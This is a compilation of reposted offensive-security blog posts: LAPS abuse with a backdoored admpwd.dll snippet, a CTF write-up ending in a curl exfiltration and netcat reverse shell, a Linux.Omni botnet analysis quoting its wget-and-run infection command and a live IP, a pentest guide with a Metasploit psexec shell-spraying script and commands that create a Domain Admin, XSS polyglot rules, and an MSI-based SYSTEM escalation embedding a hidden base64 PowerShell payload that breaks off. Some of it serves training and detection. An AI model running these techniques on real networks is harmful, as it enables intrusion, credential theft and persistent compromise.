Malicious use of Microsoft LAPS

Original text by Akijosberry

LAPS Overview:

LAPS (Local Administrator Password Solution) is a tool for managing local administrator passwords for domain joined computers. It stores passwords/secrets in a confidential attribute in the computer’s corresponding active directory object. LAPS eliminates the risk of lateral movement by generating random passwords of local administrators. LAPS solution is a Group Policy Client Side Extension (CSE) which is installed on all managed machines to perform all management tasks.

Domain administrators and anyone who has full control on computer objects in AD can read and write both pieces of information (i.e., password and expiration timestamp). Password’s stored in AD is protected by ACL, it is up to the sysadmins to define who can and who cannot read the attributes. When transferred over the network, both password and time stamp are encrypted by kerberos and when stored in AD both password and time stamp are stored in clear text.

Components of LAPS:
  • Agent – Group Policy Client Extension(CSE)
    • Event Logging and Random password generation
  • PowerShell Module
    • Solution configuration
  • Active Directory
    • Computer Object, Confidential attribute, Audit trail in security log of domain controller
Reconnaissance:

Firstly, we will identify whether LAPS solution has been installed on the machine which we had gained a foothold. We will leverage powershell cmdlet to identify if the admpwd.dll exist or not.

1Get-ChildItem ‘c:\program files\LAPS\CSE\Admpwd.dll’

The very next step would be identifying who has read access to ms-Mcs-AdmPwd. we can use Powerviewfor identifying users having read access to ms-Mcs-AdmPwd

12345Get-NetOU -FullData | Get-ObjectAcl -ResolveGUIDs |Where-Object {($_.ObjectType -like 'ms-Mcs-AdmPwd') -and($_.ActiveDirectoryRights -match 'ReadProperty')}
PowerView_Cmd.png

If RSAT(Remote Server Administration Tools) is enabled on the victim machine, then there is an interesting way of identifying user’s having access to ms-Mcs-AdmPwd. we can simply fire the command:

1dsacls.exe 'Path to the AD DS Object'
Dumping LAPS password:

Once you have identified the user’s who has read access to ms-Mcs-AdmPwd, the next thing would be compromising those user accounts and then dumping LAPS password in clear text.

I already did a blog post on ‘Dump LAPS password in clear text‘  and would highly encourage readers to have look at that post as well.

Tip: It is highly recommended to provide ms-Mcs-AdmPwd  read access to only those who actually manage those computer objects and remove unwanted users from having read access.

Poisoning AdmPwd.dll:

Most of the previous research/attacks are focused on the server side (i.e., looking for accounts who can read the passwords) not on the client side. Microsoft’s LAPS is a client side extension which runs a single dll that manages password (admpwd.dll).

LAPS was based on open source solution called “AdmPwd” developed by Jiri Formacek and is a part of microsoft product portfolio since may 2015. The LAPS solution does not have integrity checks or signature verification for dll file. AdmPwd solution is compatible with Microsoft’s LAPS, so let’s poison the dll by compiling the project from source and replace it with the original dll. To replace the original dll administrative privilege is required and at this point we assume the user already has gained administrator privilege by LPE or any other means.

Now let’s add these 3-4 lines in the AdmPwd solution and compile the malicious dll. These lines will be added where the new password and time stamp would be reported to the AD.

1234wofstream backdoor;backdoor.open("c:\\backdoor.txt");backdoor << newPwd;backdoor.close();

In this way adversary will appear normal, passwords would be synced and will also comply with LAPS policy.

BONUS: Persistence of clear text password *

*Persistence till the time poisoned dll is unchanged.

Dectection/Prevention:
  • Validate the Integrity/Signature of admpwd.dll
  • File Integrity Monitoring (FIM) policy can be created to monitor and changes/modification to the dll.
  • Application whitelisting can be applied to detect/prevent poisoning.
  • Increase LAPS logging level by setting the registry value to 2 (Verbose mode, Log everything):
    HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon\GPExtensions\{D76B9641-3288-4f75-942D-087DE603E3EA}\ExtensionDebugLevel

Note:  Above methods are just my ramblings, I am not sure whether some of these would detect or prevent.

Modifying searchFlags attribute:

The attribute of our interest is ms-Mcs-AdmPwd which is a confidential attribute.Let’s first identify searchFlags attribute of ms-Mcs-AdmPwd. We will be using active directory PS module.

SearchFlags_Attribute.png

The searchFlags attribute value is 904 (0x388). From this value we need to remove the 7th bit which is the confidential attribute. CF which is the 7 th bit (0x00000080) ie., After removing the confidential value(0x388-0x80) the new value is 0x308 ie., 776. We will leverage DC Shadow attack to modify the searchFlags attribute.

Detection/Prevention:
  • Anything which detects DC Shadow attack eg.,ALSID Team’s powershell script. ( It detects using the “LDAP_SERVER_NOTIFICATION_OID” and tracks what changes are registered in the AD infrastructure).
  • Microsoft ATA also detects malicious replications.
  • It can also be detected by comparing the metadata of the searchFlags attribute or even looking at the LocalChangeUSN which is inconsistent with searchFlags attribute.

Note: In my lab setup when i removed the confidential attribute from one DC it gets replicated to other DC’s as well (i.e., searchFlags attribute value 776 gets replicated to other DC’s). Another thing i noticed is after every change the SerachFlags version gets increased but in my lab setup it was not increasing after 10. If you find something different do let me know.

References:
https://technet.microsoft.com/en-us/mt227395.aspx
https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView
https://2017.hack.lu/archive/2017/HackLU_2017_Malicious_use_LAPS_Clementz_Goichot.pdf
https://github.com/GreyCorbel/admpwd
https://rastamouse.me/2018/03/laps—part-2/
http://adds-security.blogspot.com/2018/08/mise-en-place-dune-backdoor-laps-via.html
https://msdn.microsoft.com/en-us/library/cc223153.aspx
https://github.com/AlsidOfficial/UncoverDCShadow
Реклама

Insomni’Hack Teaser 2019 — exploit-space

Original text by @Ghostx_0

CTF URL: https://teaser.insomnihack.ch/

Solves: 7 / Points: 500 / Category: Web

Challenge description

We have created a little exploit space and made it accessible for everyone! Have fun! You can get your own exploit space here.

Challenge resolution

This challenge was the most realistic yet fun web challenge of this Insomni’Hack teaser, as it presented nothing less than an installation of the ResourceSpace open source digital asset management software.

The first step, like for any challenge, was the reconnaissance phase.

As indicated in the commented HTML code, the installed version of the ResourceSpace was the version 8.6.12117:

ResourceSpace Version

This software being open source, we can audit its source code in order to find vulnerabilities we can exploit.

We can then look at the Git commits logs to find juicy commit messages like this one:

Commit logs

Looking at the diff view for this commit, reveals the vulnerable entry point in the “/plugins/pdf_split/pages/pdf_split.php” page being passed to the run_command() function:

Gif diff

The fix introduced by this commit just sanitizes the user inputs by applying the escapeshellarg() function:

escapeshellarg function

Using the semi-colon character thus completes the comnand line, allowing us to execute arbitrary commands on the web server. However, as we don’t have a direct visible output, we need to use an HTTP server such as the Burp collaborator listening for incomming requests.

The following POST request uses the curl binary in order to send the result of the whoami command to our web server:

POST request whoami

Immediately after, we see the result of our command in our Burp collaborator interactions panel:

whoami

The final step is to locate and get the flag:

POST request getflag

Wait… What? There’s a captcha that prevents non-interactive access:

captcha

We actually need to obtain an interactive reverse shell on this server.

To do so we can download the netcat binary from our web server using curl, add execution permission and run it:

reverse shell 1

As expected, the web server just connects back to our server, therefore providing us with an interactive reverse shell:

reverse shell 2

And finally we can solve the captcha and get the flag:

flag

Analysis of Linux.Omni

( Original text by by   )

Following our classification and analysis of the Linux and IoT threats currently active, in this article we are going to investigate a malware detected very recently in our honeypots, the Linux.Omni botnet. This botnet has particularly attracted our attention due to the numerous vulnerabilities included in its repertoire of infection (11 different in total), being able to determine, finally, that it is a new version of IoTReaper.

Analysis of the binary

The first thing that strikes us is the label given to the malware at the time of infection of the device, i.e., OMNI, because these last few weeks we were detecting OWARI, TOKYO, SORA, ECCHI… all of them versions of Gafgyt or Mirai and, which do not innovate much compared to what was reported in previous articles.

So, analyzing the method of infection, we find the following instructions:

As you can see, it is a fairly standard script and, therefore, imported from another botnet. Nothing new.

Although everything indicated that the sample would be a standard variant of Mirai or Gafgyt, we carried out the sample download.

The first thing we detect is that the binary is packaged with UPX. It is not applied in most samples, but it is not uncommon to see it in some of the more widespread botnet variants.

After looking over our binary, we found that the basic structure of the binary corresponds to Mirai.

However, as soon as we explore the binary infection options, we find attack vectors that, in addition to using the default credentials for their diffusion, use vulnerabilities of IoT devices already discovered and implemented in other botnets such as IoTReaper or Okiru / Satori, including the recent one that affects GPON routers.

Let’s examine which are these vulnerabilities that Omni uses:

Vacron

Vulnerability that makes use of code injection in VACRON network video recorders in the “board.cgi” parameter, which has not been well debugged in the HTTP request parsing. We also found it in the IoTReaper botnet.

Netgear – CVE-2016-6277

Another of the vulnerabilities found in Omni is CVE-2016-6277, which describes the remote execution of code through a GET request to the “cgi-bin/” directory of vulnerable routers. These are the following:

R6400                         R7000
R7000P           R7500
R7800                         R8000
R8500                         R9000

D-Link – OS-Command Injection via UPnP

Like IoTReaper, Omni uses a vulnerability of D-link routers. However, while the first used a vulnerability in the cookie overflow, the hedwig.cgi parameter, this one uses a vulnerability through the UPnP interface.

The request is as follows:

And we can find it in the binary:

The vulnerable firmware versions are the following:

DIR-300 rev B – 2.14b01
DIR-600 – 2.16b01
DIR-645 – 1.04b01
DIR-845 – 1.01b02
DIR-865 – 1.05b03

CCTV-DVR 

Another vulnerability found in the malware is the one that affects more than 70 different manufacturers and is linked to the “/language/Swedish” resource, which allows remote code execution.

The list of vulnerable devices can be found here:

http://www.kerneronsec.com/2016/02/remote-code-execution-in-cctv-dvrs-of.html

D-Link – HNAP

This is a vulnerability reported in 2014 and which has already been used by the malware The Moon, which allows bypassing the login through the CAPTCHA and allows an external attacker to execute remote code.

The vulnerable firmware versions on the D-Link routers are the following:

DI-524 C1 3.23
DIR-628 B2 1.20NA 1.22NA
DIR-655 A1 1.30EA

TR-069 – SOAP

This vulnerability was already exploited by the Mirai botnet in November 2016, which caused the fall of the Deutsche Telekom ISP.

The vulnerability is as follows:

We can also find it in the binary.

Huawei Router HG532 – Arbitrary Command Execution

Vulnerability detected in Huawei HG532 routers in the incorrect validation of a configuration file, which can be exploited through the modification of an HTTP request.

This vulnerability was already detected as part of the Okiru/Satori malware and analyzed in a previous article: (Analysis of Linux.Okiru)

Netgear – Setup.cgi RCE

Vulnerability that affects the DGN1000 1.1.00.48 firmware of Netgear routers, which allows remote code execution without prior authentication.

Realtek SDK

Different devices use the Realtek SDK with the miniigd daemon vulnerable to the injection of commands through the UPnP SOAP interface. This vulnerability, like the one mentioned above for Huawei HG532 routers, can already be found in samples of the Okiru/Satori botnet.

GPON

Finally, we found the latest vulnerability this past month, which affects GPON routers and is already incorporated to both IoT botnets and miners that affect Linux servers.

On the other hand, the botnet also makes use of diffusion through the default credentials (the way our honeypot system was infected), although these are encoded with an XOR key different from the 0x33 (usual in the base form) where each of the combinations has been encoded with a different key.

Infrastructure analysis

Despite the variety of attack vectors, the commands executed on the device are the same:

cd /tmp;rm -rf *;wget http://%s/{marcaDispositivo};sh /tmp/{marcaDispositivo}

The downloaded file is a bash script, which downloads the sample according to the architecture of the infected device.

As we can see, this exploit does not correspond with the analyzed sample, but is only dedicated to the search of devices with potentially vulnerable HTTP interfaces, as well as the vulnerability check of the default credentials, thus obtaining two types of infections, the one that uses the 11 previously mentioned vulnerabilities and the one that only reports the existence of exposed HTTP services or default credentials in potential targets.

Therefore, the architecture is very similar to the one found previously in the IoTReaper botnet.

Behind Omni

Investigating the references in the binaries we find the IP address 213.183.53 [.] 120, which is referenced as a download server for the samples. Despite not finding a directory listing available (in other variants it is quite common to find it), in the root directory we find a “Discord” platform, which is (officially) a text and voice chat for the gamer audience.

So, since it didn’t require any permissions or special invitation, we decided to choose a megahacker name, and enter the chat.

Once inside, we observed that the general theme of the chat is not video games, but a platform for the sale of botnet services.

After a couple of minutes in the room, it follows that the person behind the infrastructure is the user Scarface, who has decided to make some very cool advertising posters (and according to the aesthetics of the film of the same name).

In addition, it also offers support, as well as requests from potential consumers seeking evidence that their botnet is capable of achieving a traffic volume of 60 Gbps.

We can find some rather curious behaviors that denote the unprofessional nature of this group of cybercriminals, for example how Scarface shows the benefit it has gained from the botnet (and how ridiculous the amount) or how they fear that any of those who have entered the chat are cops.

So, we can determine that the Linux.Omni malware is an updated version of the IoTReaper malware, which uses the same network architecture format, besides importing, practically, all the Mirai source code.

Attached is the Yara rule for detecting the Linux.Omni malware:

IoC

213.183.53[.]120
21aa9c42b42e95c98e52157fd63f36c289c29a7b7a3824f4f70486236a2985ff
4cf7e64c3b9c1ad5fa57d0d0bbdeb930defcdf737fda9639955be1e78b06ded6
6dfd411f2558e533728bfb04dd013049dd765d61e3c774788e3beca404e0fd73
000b018848e7fd947e87f1d3b8432faccb3418e0029bde7db8abf82c552bbc63
5ad981aefed712909294af47bce51be12524f4b547a63d7faaa40d3260e73235
31a2779c91846e37ad88e9803cbad8f8931e3229e88037f1d27437141ecbd164
528344fd220eff87b7494ca94caed6eae7886d8003ad37154fdb7048029e880b
cfca058a4d0a29b3da285a5df21b14c360fb3291dff3c941659fe27f3738ba3e
2b32375864d0849e676536b916465a1fbb754bbdf783421948023467d364fb4c
700c9b51e6f8750a20fcc7019207112690974dcda687a83626716d8233923c17
feb362167c9251dd877a0d76d3b42b68fcd334181946523ca808382852f48b7d
ca6bc4e4c490999f97ee3fd1db41373fc0ba114dce2e88c538998d19a6f694da
fc4cfc6300e3122ef9bbe6da3634d3b9839e833e4fc2cea8f1498623398af015
0fd93aeb2af3541daa152d9aff8388c89211b99d46ead1220c539fa178543bca
02a61e1d80b1f25d161de8821a31cd710987772668ce62c8be6d9afabe932712
377a49403cef46902e77ff323fcc9a8f74ea041743ccdbff41de3c063367c99a
812aa39075027b21671e5a628513378c598aef0feb57d0f5d837375c73ade8e8
c9caccd707504634185ee2a94302e3964fb6747963e7020dffa34de85bd4d2ce
a159c7b5d2c38071eb11f5e28b26f7d8beaf6f0f19a8c704687f26bfa9958d78
5eb7801551ee15baec5ef06b0265d0d0cc8488f16763517344bb8456a2831b82
2f1d0794d24b7b4f164ebce5bdde6fccd57cdbf91ea90ec2f628caf7fd991ce4

(N.d.E.: Original post in Spanish)

5 Ways to Find Systems Running Domain Admin Processes

( Original text by Scott Sutherland )

Introduction

Migrating to Domain Admin processes is a common way penetration testers are able to impersonate Domain Admin accounts on the network. However, before a pentester can do that, they need to know what systems those processes are running on. In this blog I’ll cover 5 techniques to help you do that. The techniques that will be covered include:

  1. Checking Locally
  2. Querying Domain Controllers for Active Domain User Sessions
  3. Scanning Remote Systems for Running Tasks
  4. Scanning Remote Systems for NetBIOS Information
  5. PSExec Shell Spraying Remote Systems for Auth Tokens

Obtaining Domain Admin Privileges

For the most part, this blog will focus on identifying systems that are running Domain Admin processes. However, for the sake of context, I’ve outlined the standard process many penetration testers use to obtain Domain Admin privileges.

  1. Identify target systems and applications
  2. Identify potential vulnerabilities
  3. Exploit vulnerabilities to obtain initial access
  4. Escalate privileges on the compromised system
  5. Locate Domain Admin processes/authentication tokens locally or on Remote Systems
  6. Authenticate to a remote system running Domain Admin Processes by passing the local Administrator’s password hash, cracking passwords, or dumping passwords with a tool like mimikatz
  7. Migrate to a Domain Admin Process
  8. Create a Domain Admin

The process as a whole is well known in the penetration testing community, and you should be able to find plenty of blogs, white papers, and video tutorials via Google if you’re interested in more details. Moving forward, I will only be focusing on options for number 5.

Finding Domain Admin Processes

Ok, enough of my ramblings. As promised, below are 5 techniques for finding Domain Admin processes on the network.

Technique 1: Checking Locally

Always check the initially compromised system first. There’s really no point is running around the network looking for Domain Admin processes if you already have one. Below is a simple way to check if any Domain Admin processes are running using native commands:

  1. Run the following command to get a list of domain admins:net group “Domain Admins” /domain
  2. Run the following command to list processes and process owners. The account running the process should be in the 7th column.Tasklist /v
  3. Cross reference the task list with the Domain Admin list to see if you have a winner.

It would be nice if Domain Admin processes were always available on the system initially compromised, but sometimes that is not the case. So the next four techniques will help you find Domain Admin process on remote domain systems.

Technique 2: Querying Domain Controllers for Active Domain User Sessions

To my knowledge this technique is a NetSPI original. We wanted a way to identify active Domain Admin processes and logins without having to spray shells all over the network or do any scanning that would set off IDS. Eventually it occurred to us to simply query the domain controllers for a list of active domain user sessions and cross reference it with the Domain Admin list. The only catch is you have to query all of the domain controllers. Below I’ve provided the basic steps to get list of systems with active Domain Admin sessions as a domain user:

  1. Gather a list of Domain Controllers from the “Domain Controllers” OU using LDAP queries or net commands. I’ve provided a net command example below.net group “Domain Controllers” /domainImportant Note: The OU is the best source of truth for a list of domain controllers, but keep in mind that you should really go through the process of enumerating trusted domains and targeting those domain controllers as well.

    Alternatively, you can look them up via DNS.

    Nslookup –type=SRV _ldap._tcp.

  2. Gather a list of Domain Admins from the “Domain Admins” group using LDAP queries or net commands. I’ve provided a net command example below.net group “Domain Admins” /domain
  3. Gather a list of all of the active domain sessions by querying each of the domain controllers using Netsess.exe. Netsess is a great tool from Joe Richards that wraps around the native Windows function “netsessionenum”. It will return the IP Address of the active session, the domain account, the session start time, and the idle time. Below is a command example.Netsess.exe –h
  4. Cross reference the Domain Admin list with the active session list to determine which IP addresses have active domain tokens on them. In more secure environments you may have to wait for a Domain Admin or Service account with Domain Admin privileges to take actions on the network. What that really means I you’ll have to run through the process multiple time, or script it out. Below is a very quick and dirty Windows command line script that uses netsess. Keep in mind that dcs.txt has a list of domain controllers and admins.txt has a list of Domain Admins.FOR /F %i in (dcs.txt) do @echo [+] Querying DC %i && @netsess -h %i 2>nul > sessions.txt && 
    FOR /F %a in (admins.txt) DO @type sessions.txt | @findstr /I %a

I wrote a basic batch script named Get Domain Admins (GDA) which can be download  that automates the whole process. The dependencies are listed in the readme file. I would like to give a shout out to Mark Beard and Ivan Dasilva for helping me out on it. I’ve also created a batch file called Get Domain Users (GDU) for Windows Dictionary attacks which has similar options, but more dependencies. If you interested it can be downloaded by clicking the link above.

Technique 3: Scanning Remote Systems for Running Tasks

I typically have success with the first two options. However, I came across this method in a pauldotcom blog by LaNMSteR53 and I thought it was a clever alternative. Once you are running as the shared local administrator account on a domain system you can run the script below to scan systems for Domain Admin Tasks. Similar to the last technique you will need to enumerate the Domain Admins first. In the script below ips.txt contains a list of the target systems and the names.txt contains a list of the Domain Admins.

FOR /F %i in (ips.txt) DO @echo [+] %i && @tasklist /V /S %i /U user /P password 2>NUL > output.txt &&
FOR /F %n in (names.txt) DO @type output.txt | findstr %n > NUL && echo [!] %n was found running a process on %i && pause

The original post is: Crawling for Domain Admin with Tasklist if you’re interested.

Technique 4: Scanning Remote Systems for NetBIOS Information

Some Windows systems still allow users to query for logged in users via the NetBIOS queries. The information can be queried using the native nbtstat tool. The user name is indicated by “<03>” in the nbtstat results.

  1. Below is another quick and dirty Windows command line script that will scan remote systems for active Domain Admins sessions. Note: The script can be ran as a non-domain user.for /F %i in (ips.txt) do @echo [+] Checking %i && nbtstat -A %i 2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i
  2. You can also use the nbtscan tool which runs a little faster. It can be downloaded here. Another basic script example is below.for /F %i in (ips.txt) do @echo [+] Checking %i && nbtscan -f %i 2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i

Technique 5: PSExec Shell Spraying Remote Systems for Auth Tokens

Psexec “Shell spraying” is the act of using the Psexec module in Metasploit to install shells (typically meterpreter) on hundreds of systems using shared local administrative credentials. Many pentesters use this method in concert with other Metasploit functionality to identify Domain Admin tokens. This is my least favorite technique, but since a large portion of the pentest community is actively using it I feel that I needed to include it. I like getting shells as much as the next guy, but kicking off 500 hundred of them in a production environment could cause availability issues that clients will be really unhappy with. To be fair, having 500 shells does mean you can scrape data faster, but I still think it creates more risk than value. Regardless, below is the process I have seen a lot of people using:

  1. Install Metasploit 3.5 or greater.
  2. Copy paste script below to a text file and save into the Metasploit directory as psexec_spray.rc. I originally found this script on Jabra’s blog.#Setup Multi Handler to accept multiple incoming connections use multi/handler setg PAYLOAD windows/meterpreter/reverse_tcp setg LHOST 0.0.0.0 setg LPORT 55555 set ExitOnSession false exploit -j -z#Setup Credentials use windows/smb/psexec set SMBUser set SMBPass

    #Setup Domain as local host unless using domain credentials set SMBDomain. #Disable playload handler in psexec modules (using multi handler) set DisablePayloadHandler true #Run Ruby code to scan desired network range using some REX API stuff – range walker #note: could also accept ip addresses from a file by replacing rhosts =”192.168.74.0/24” with rhosts = File.readlines(“c:systems.txt”) require ‘rex/socket/range_walker’ rhosts = “192.168.1.0/24” iplist = Rex::Socket::RangeWalker.new(rhosts) iplist.each do |rhost|      #self allows for execution of commands in msfconsole      self.run_single(“set RHOST #{rhost}”)      #-j-z send the session to the background      self.run_single(“exploit -j -z”) end

  3. Update the smbuser and smbpass parameters.
  4. Issue the following command to run the script. The psexec_spray.rc script will attempt to blindly install meterpreter shells on every system in the 192.168.1.0/24 network using the provided credentials.msfconsole –r psexec_spray.rc
  5. You can then use the Metasploit module token_hunter to identify Domain Admin tokens on each of the shelled systems. I’ve outlined the steps below.
    1. Create a file containing a list of the Domain Admins like so: COMPANYjoe-admin COMPANYbill-admin COMPANYdavid-admin
    2. Load the token_hunter module in the msfconsole msf> load token_hunter
    3. Run token hunter to list the sessions containing Domain Admin tokens. msf> token_hunt_user -f /tmp/domain-admin.txt
  6. Alternatively, you can use the following command to get a list of currently logged in users from each of the shelled system and manually look for Domain Admins.Sessions –s loggedin

What Now?

If you already have a meterpreter session you can use Incognito to impersonate the Domain Admin, or add a new one. Incognito can attempt to add a new Domain Admin blindly by iterating through all of the available authencation tokens on the system. Below are the basic commands to do that in meterpreter.

  1. Load Incognito in your active meterpreter session with the following command:load incongnito
  2. Attempt to add a Domain Admin with the authentication tokens on the system:add_user -h 
    add_group “”Domain Admins”” -h

If you’re interested in creating a new Domain Admin using another option you can use the instructions below:

  1. In the meterpreter console, type the following command to view processes:ps
  2. In the meterpreter console, find a domain admin session and migrate to using the following command:migrate
  3. In the meterpreter console, type the following command get a OS shell:shell
  4. Type the following native Windows command to add a new Domain Admin:net user /add /domain
    net group “Domain Admins” /add /domain

Wrap Up

As you can see there are quite a few options for identifying Domain Admin processes and authentication tokens. I recommend using the low impact options to help prevent availability issues and unhappy clients. I’m sure as time goes on people will come up with better ideas, but until then remember to have fun and hack responsibly.

References

 

XSS Polyglot Challenge v2

( Original text by @filedescriptor )

alert() in more than one context.


What is a XSS Polyglot?

A XSS payload which runs in multiple contexts. For example, '--><svg onload=alert()> can pop alerts in <div class=''--><svg onload=alert()>'></div> and <!--'--><svg onload=alert()>-->. It is useful in testing XSS because it minimizes manual efforts and increases the success rate of blind XSS.

Rules
  • You will be given 20 common contexts in black-box
  • No DOM sinks or external libraries are involved
  • Plain HTML injection with minimum filtering
  • A headless Chrome will try your payload
  • Your payload should run alert() in 2+ contexts
  • Payloads exceeding 1024 characters will always fail
  • Network is disabled
Contexts
<div class="{{payload}}"></div>
<div class='{{payload}}'></div>
<title>{{payload}}</title>
<textarea>{{payload}}</textarea>
<style>{{payload}}</style>
<noscript>{{payload}}</noscript>
<noembed>{{payload}}</noembed>
<template>{{payload}}</template>
<frameset>{{payload}}</frameset>
<select><option>{{payload}}</option></select>
<script type="text/template">{{payload}}</script>
<!--{{payload}}-->
<iframe src="{{payload}}"></iframe> " → 
<iframe srcdoc="{{payload}}"></iframe> " →  < → 
<script>"{{payload}}"</script> </script → <\/script
<script>'{{payload}}'</script> </script → <\/script
<script>`{{payload}}`</script> </script → <\/script
<script>//{{payload}}</script> </script → <\/script
<script>/*{{payload}}*/</script> </script → <\/script
<script>"{{payload}}"</script> </script → <\/script " → \"

more examples by link

Alternative methods of becoming SYSTEM

( Original text by XPN )

For many pentesters, Meterpreter’s getsystem command has become the default method of gaining SYSTEM account privileges, but have you ever have wondered just how this works behind the scenes?

In this post I will show the details of how this technique works, and explore a couple of methods which are not quite as popular, but may help evade detection on those tricky redteam engagements.

Meterpreter’s «getsystem»

Most of you will have used the getsystem module in Meterpreter before. For those that haven’t, getsystem is a module offered by the Metasploit-Framework which allows an administrative account to escalate to the local SYSTEM account, usually from local Administrator.

Before continuing we first need to understand a little on how a process can impersonate another user. Impersonation is a useful method provided by Windows in which a process can impersonate another user’s security context. For example, if a process acting as a FTP server allows a user to authenticate and only wants to allow access to files owned by a particular user, the process can impersonate that user account and allow Windows to enforce security.

To facilitate impersonation, Windows exposes numerous native API’s to developers, for example:

  • ImpersonateNamedPipeClient
  • ImpersonateLoggedOnUser
  • ReturnToSelf
  • LogonUser
  • OpenProcessToken

Of these, the ImpersonateNamedPipeClient API call is key to the getsystem module’s functionality, and takes credit for how it achieves its privilege escalation. This API call allows a process to impersonate the access token of another process which connects to a named pipe and performs a write of data to that pipe (that last requirement is important ;). For example, if a process belonging to «victim» connects and writes to a named pipe belonging to «attacker», the attacker can call ImpersonateNamedPipeClient to retrieve an impersonation token belonging to «victim», and therefore impersonate this user. Obviously, this opens up a huge security hole, and for this reason a process must hold the SeImpersonatePrivilege privilege.

This privilege is by default only available to a number of high privileged users:

SeImpersonatePrivilege

This does however mean that a local Administrator account can use ImpersonateNamedPipeClient, which is exactly how getsystem works:

  1. getsystem creates a new Windows service, set to run as SYSTEM, which when started connects to a named pipe.
  2. getsystem spawns a process, which creates a named pipe and awaits a connection from the service.
  3. The Windows service is started, causing a connection to be made to the named pipe.
  4. The process receives the connection, and calls ImpersonateNamedPipeClient, resulting in an impersonation token being created for the SYSTEM user.

All that is left to do is to spawn cmd.exe with the newly gathered SYSTEM impersonation token, and we have a SYSTEM privileged process.

To show how this can be achieved outside of the Meterpreter-Framework, I’ve previously released a simple tool which will spawn a SYSTEM shell when executed. This tool follows the same steps as above, and can be found on my github account here.

To see how this works when executed, a demo can be found below:

Now that we have an idea just how getsystem works, let’s look at a few alternative methods which can allow you to grab SYSTEM.

MSIExec method

For anyone unlucky enough to follow me on Twitter, you may have seen my recent tweet about using a .MSI package to spawn a SYSTEM process:

Adam Chester@_xpn_

There is something nice about embedding a Powershell one-liner in a .MSI, nice alternative way to execute as SYSTEM 🙂

This came about after a bit of research into the DOQU 2.0 malware I was doing, in which this APT actor was delivering malware packaged within a MSI file.

It turns out that a benefit of launching your code via an MSI are the SYSTEM privileges that you gain during the install process. To understand how this works, we need to look at WIX Toolset, which is an open source project used to create MSI files from XML build scripts.

The WIX Framework is made up of several tools, but the two that we will focus on are:

  • candle.exe — Takes a .WIX XML file and outputs a .WIXOBJ
  • light.exe — Takes a .WIXOBJ and creates a .MSI

Reviewing the documentation for WIX, we see that custom actions are provided, which give the developer a way to launch scripts and processes during the install process. Within the CustomAction documentation, we see something interesting:

customaction

This documents a simple way in which a MSI can be used to launch processes as SYSTEM, by providing a custom action with an Impersonate attribute set to false.

When crafted, our WIX file will look like this:

<?xml version=«1.0«?>
<Wix xmlns=«http://schemas.microsoft.com/wix/2006/wi«>
<Product Id=«*« UpgradeCode=«12345678-1234-1234-1234-111111111111« Name=«Example Product Name« Version=«0.0.1« Manufacturer=«@_xpn_« Language=«1033«>
<Package InstallerVersion=«200« Compressed=«yes« Comments=«Windows Installer Package«/>
<Media Id=«1« Cabinet=«product.cab« EmbedCab=«yes«/>
<Directory Id=«TARGETDIR« Name=«SourceDir«>
<Directory Id=«ProgramFilesFolder«>
<Directory Id=«INSTALLLOCATION« Name=«Example«>
<Component Id=«ApplicationFiles« Guid=«12345678-1234-1234-1234-222222222222«>
<File Id=«ApplicationFile1« Source=«example.exe«/>
</Component>
</Directory>
</Directory>
</Directory>
<Feature Id=«DefaultFeature« Level=«1«>
<ComponentRef Id=«ApplicationFiles«/>
</Feature>
<Property Id=»cmdline»>powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAnAH0AZQBsAHMAZQB7ACQAYgA9ACQAZQBuAHYAOgB3AGkAbgBkAGkAcgArACcAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcAfQA7ACQAcwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAUwB0AGEAcgB0AEkAbgBmAG8AOwAkAHMALgBGAGkAbABlAE4AYQBtAGUAPQAkAGIAOwAkAHMALgBBAHIAZwB1AG0AZQBuAHQAcwA9ACcALQBuAG8AcAAgAC0AdwAgAGgAaQBkAGQAZQBuACAALQBjACAAJABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAJwBIADQAcwBJAEEARABlAGgAQQBGAG8AQwBBADcAVgBXAGIAVwAvAGEAUwBCAEQAKwBuAEUAcgA5AEQAMQBhAEYAaABLADAAUwBEAEkAUwBVAEoAbABLAGwAVwAvAE8AZQBBAEkARQA0AEcAQQBoAEYAcAA0ADIAOQBOAGcAdQBMADEAMQAyAHYAZQBlAHYAMQB2ADkAOABZADcASgBTAHEAeQBWADIAdgAwAGwAbQBKADIAUABYAE8ANwBEADcAegB6AEQATQA3AGQAaQBQAGYAbABwAFQANwBTAHIAZwBZADMAVwArAFgAZQBLADEAOABmAGYAdgBtAHIASQA4AEYAWABpAGwAcQBaAHQAMABjAFAAeABRAHIAKwA0AEQAdwBmAGsANwBKAGkASABFAHoATQBNAGoAVgBwAGQAWABUAHoAcwA3AEEASwBpAE8AVwBmADcAYgB0AFYAYQBHAHMAZgBGAEwAVQBLAFEAcQBDAEcAbAA5AGgANgBzACsAdQByADYAdQBSAEUATQBTAFgAeAAzAG0AKwBTAFMAUQBLAFEANwBKADYAWQBwAFMARQBxAHEAYgA4AHAAWQB6AG0AUgBKAEQAegB1ADYAYwBGAHMAYQBYAHkAVgBjAG4AOABtAFcAOAB5AC8AbwBSAFoAWQByAGEAcgBZAG4AdABPAGwASABQAGsATwAvAEYAYQBoADkAcwA0AHgAcABnADMAQQAwAGEAbABtAHYAMwA4AE8AYQB0AE4AegA0AHUAegBmAFAAMQBMAGgARgBtAG8AWgBzADEAZABLAE0AawBxADcAegBDAFcAMQBaAFIAdgBXAG4AegBnAHcAeQA0AGcAY